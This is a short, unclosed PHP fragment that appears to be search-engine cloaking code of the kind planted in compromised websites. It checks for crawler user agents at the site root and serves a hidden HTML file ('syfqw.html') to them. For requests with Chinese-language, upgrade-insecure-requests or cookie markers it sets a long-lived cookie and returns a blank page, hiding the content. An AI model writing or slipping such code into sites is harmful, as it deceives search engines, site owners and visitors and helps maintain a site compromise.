$s_ref = $_SERVER['HTTP_REFERER'];
$agent = $_SERVER['HTTP_USER_AGENT'];
if(preg_match("/(googlebot|slurp|google adSense)/", strtolower($agent)) && $_SERVER['REQUEST_URI']=='/'){
$accept_lang = strtolower($_SERVER['HTTP_ACCEPT_LANGUAGE']);
if(strpos($accept_lang,'zh')>-1 || $_SERVER['HTTP_UPGRADE_INSECURE_REQUESTS']==1 || $_COOKIE['az']=='lp'){setcookie('az','lp',time()+3600*7200); echo ' '; exit;}
include('syfqw.html');
exit;